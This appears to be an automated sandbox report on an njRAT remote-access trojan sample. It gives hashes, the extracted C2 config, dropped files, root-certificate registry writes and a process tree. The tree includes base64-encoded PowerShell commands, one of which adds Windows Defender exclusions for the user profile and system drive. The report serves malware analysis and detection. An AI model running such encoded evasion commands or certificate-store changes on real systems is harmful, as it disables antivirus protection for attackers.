njrat | 0eeac4bf4551eeae83b6458ab2c976b82e84d46ce45f2dd6954df70ba85c7266

Analysis

max time kernel
149s
max time network
45s
platform
windows7_x64
resource
win7-20220414-en
submitted
10/06/2022, 02:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
51730f16d17a389bab463db282eb48b9.exe
Size 96KB
Sample220610-dbkzyseffk
SHA256 0eeac4bf4551eeae83b6458ab2c976b82e84d46ce45f2dd6954df70ba85c7266
MD5 51730f16d17a389bab463db282eb48b9
SHA1 fb527ade8d7fa331b4dc13e826c54ea350c56acf
SHA512 f1e7cbf48a85a871eac98e2b11b826bd81d5eb36f27591302d71eb357eb902465946d4a0334f1496ea43be3420939c0438273ce3c29e5586efc501aa7dac1373
MD5 SHA1 SHA512

Score

10^/10

njrat lime trojan

Malware Config

Extracted

Family

njrat

Version

0.7.3

Botnet

Lime

127.0.0.1:6522

Mutex

Client.exe

Attributes

reg_key
Client.exe
splitter
DarkNET

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Executes dropped EXE 2 IoCs

pid	Process
588	Chromes.exe
456	New Client1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Chromes.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Chromes.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Chromes.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Chromes.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1820	powershell.exe
1832	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	588	Chromes.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe
Token: 33	456	New Client1.exe
Token: SeIncBasePriorityPrivilege	456	New Client1.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 1832	1228	51730f16d17a389bab463db282eb48b9.exe	28
PID 1228 wrote to memory of 1832	1228	51730f16d17a389bab463db282eb48b9.exe	28
PID 1228 wrote to memory of 1832	1228	51730f16d17a389bab463db282eb48b9.exe	28
PID 1228 wrote to memory of 1820	1228	51730f16d17a389bab463db282eb48b9.exe	30
PID 1228 wrote to memory of 1820	1228	51730f16d17a389bab463db282eb48b9.exe	30
PID 1228 wrote to memory of 1820	1228	51730f16d17a389bab463db282eb48b9.exe	30
PID 1228 wrote to memory of 588	1228	51730f16d17a389bab463db282eb48b9.exe	32
PID 1228 wrote to memory of 588	1228	51730f16d17a389bab463db282eb48b9.exe	32
PID 1228 wrote to memory of 588	1228	51730f16d17a389bab463db282eb48b9.exe	32
PID 1228 wrote to memory of 588	1228	51730f16d17a389bab463db282eb48b9.exe	32
PID 1228 wrote to memory of 456	1228	51730f16d17a389bab463db282eb48b9.exe	33
PID 1228 wrote to memory of 456	1228	51730f16d17a389bab463db282eb48b9.exe	33
PID 1228 wrote to memory of 456	1228	51730f16d17a389bab463db282eb48b9.exe	33
PID 1228 wrote to memory of 456	1228	51730f16d17a389bab463db282eb48b9.exe	33

C:\Users\Admin\AppData\Local\Temp\51730f16d17a389bab463db282eb48b9.exe
"C:\Users\Admin\AppData\Local\Temp\51730f16d17a389bab463db282eb48b9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AbgBhACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGcAbABpACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUwB1AGMAYwBlAHMAcwAnACwAJwAnACwAJwBPAEsAJwAsACcAUQB1AGUAcwB0AGkAbwBuACcAKQA8ACMAeABjAGsAIwA+AA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAegB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAbQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGYAagBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAawBsACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Users\Admin\AppData\Local\Temp\Chromes.exe
  "C:\Users\Admin\AppData\Local\Temp\Chromes.exe"
  2⤵
  - Executes dropped EXE
  - Modifies system certificate store
  - Suspicious use of AdjustPrivilegeToken
  PID:588
- C:\Users\Admin\AppData\Local\Temp\New Client1.exe
  "C:\Users\Admin\AppData\Local\Temp\New Client1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:456

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Chromes.exe

Path C:\Users\Admin\AppData\Local\Temp\Chromes.exe
Size 9KB
SHA256 dc5ec959e5d0ab6407101376d7ad4a1130d92676af55bedf637c43e2ddd3fec7
MD5 4bab17e7830fd268e6fd55019225fb5b
SHA1 393c883ce5a0b66939917374360340753b0644ae
SHA512 706f8909e118b80941f47e13f7a7cd42ce29ba371ccca83b0e1e2f0f8874dc46387f967fe66144a559b9fd93f8de9e7c26e8e868233b9aa4048960734d800116
SSDEEP 96:Gmn0Ta3DwhTQOIWCH3vYgg/rB0lb9n9Q3Yl/klRckG/OGkCzNt:GgzUTnKYhaljQ3Yl/YGhD
MD5 SHA1 SHA512 SSDEEP

Submit Download

Chromes.exe

Path C:\Users\Admin\AppData\Local\Temp\Chromes.exe
Size 9KB
SHA256 dc5ec959e5d0ab6407101376d7ad4a1130d92676af55bedf637c43e2ddd3fec7
MD5 4bab17e7830fd268e6fd55019225fb5b
SHA1 393c883ce5a0b66939917374360340753b0644ae
SHA512 706f8909e118b80941f47e13f7a7cd42ce29ba371ccca83b0e1e2f0f8874dc46387f967fe66144a559b9fd93f8de9e7c26e8e868233b9aa4048960734d800116
SSDEEP 96:Gmn0Ta3DwhTQOIWCH3vYgg/rB0lb9n9Q3Yl/klRckG/OGkCzNt:GgzUTnKYhaljQ3Yl/YGhD
MD5 SHA1 SHA512 SSDEEP

Submit Download

New Client1.exe

Path C:\Users\Admin\AppData\Local\Temp\New Client1.exe
Size 78KB
SHA256 6ed188a93cc1c9ec74fcba1cfa49598ac74855bd4f69e0bd2c1b2fc5b2349333
MD5 57d42220b60b7ce75d5bb688d7752629
SHA1 01af24fc10c0bb8a624c29f7bc7d385e25405fc0
SHA512 52d475f0fbbb27d48322759da6b80cfc48b6d46f1c0c48d82857391969d50cf69e8d28a81b28e93b5fb0b8737588f2d97d22711d06b3851f8369fb1df4d23485
SSDEEP 1536:+crXV+w62EDpES5wpOk3JCK6pFocTP6fOpd/9nEh9TGKJUR:jtQwpOk5CK6YO/9ESKJU
MD5 SHA1 SHA512 SSDEEP

Submit Download

New Client1.exe

Path C:\Users\Admin\AppData\Local\Temp\New Client1.exe
Size 78KB
SHA256 6ed188a93cc1c9ec74fcba1cfa49598ac74855bd4f69e0bd2c1b2fc5b2349333
MD5 57d42220b60b7ce75d5bb688d7752629
SHA1 01af24fc10c0bb8a624c29f7bc7d385e25405fc0
SHA512 52d475f0fbbb27d48322759da6b80cfc48b6d46f1c0c48d82857391969d50cf69e8d28a81b28e93b5fb0b8737588f2d97d22711d06b3851f8369fb1df4d23485
SSDEEP 1536:+crXV+w62EDpES5wpOk3JCK6pFocTP6fOpd/9nEh9TGKJUR:jtQwpOk5CK6YO/9ESKJU
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 c695713477b2f37df5dc5cf89feca882271acda41ac62110d4985f28bff57742
MD5 ae77cfa9bbc7470938ae4d4bd795c5d8
SHA1 83c787adbd0ddc605cf9c90894b1dfa41e688ccc
SHA512 ee82a17c1077789d53c6737d67308669dbf0d240a0297b497f7a751da055886783a56a56601d4d8466dfed8ab06db050e24d7eb0a49fd2965f431d9fb091ccb1
SSDEEP 96:ctR+CtM8XnqvsqvJCwoBtR+CtM8XnqvsEHyqvJCworbYXyvQHwd7nY3XlUVu:crLTUoBrLTAHnorbYOZd7nY3J
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/456-84-0x0000000073030000-0x00000000735DB000-memory.dmp

Download

memory/456-72-0x0000000073030000-0x00000000735DB000-memory.dmp

Download

memory/456-69-0x00000000751C1000-0x00000000751C3000-memory.dmp

Download

memory/588-70-0x0000000000A80000-0x0000000000A88000-memory.dmp

Download

memory/1228-54-0x00000000010B0000-0x00000000010CE000-memory.dmp

Download

memory/1228-55-0x000007FEFB871000-0x000007FEFB873000-memory.dmp

Download

memory/1820-79-0x0000000002394000-0x0000000002397000-memory.dmp

Download

memory/1820-62-0x000007FEF1650000-0x000007FEF2073000-memory.dmp

Download

memory/1820-80-0x000000000239B000-0x00000000023BA000-memory.dmp

Download

memory/1820-76-0x0000000002394000-0x0000000002397000-memory.dmp

Download

memory/1820-75-0x000007FEF54D0000-0x000007FEF602D000-memory.dmp

Download

memory/1820-77-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

Download

memory/1832-73-0x000007FEF54D0000-0x000007FEF602D000-memory.dmp

Download

memory/1832-74-0x0000000002764000-0x0000000002767000-memory.dmp

Download

memory/1832-81-0x000000000276B000-0x000000000278A000-memory.dmp

Download

memory/1832-78-0x000007FEECE70000-0x000007FEEDF06000-memory.dmp

Download

memory/1832-82-0x0000000002764000-0x0000000002767000-memory.dmp

Download

memory/1832-83-0x000000000276B000-0x000000000278A000-memory.dmp

Download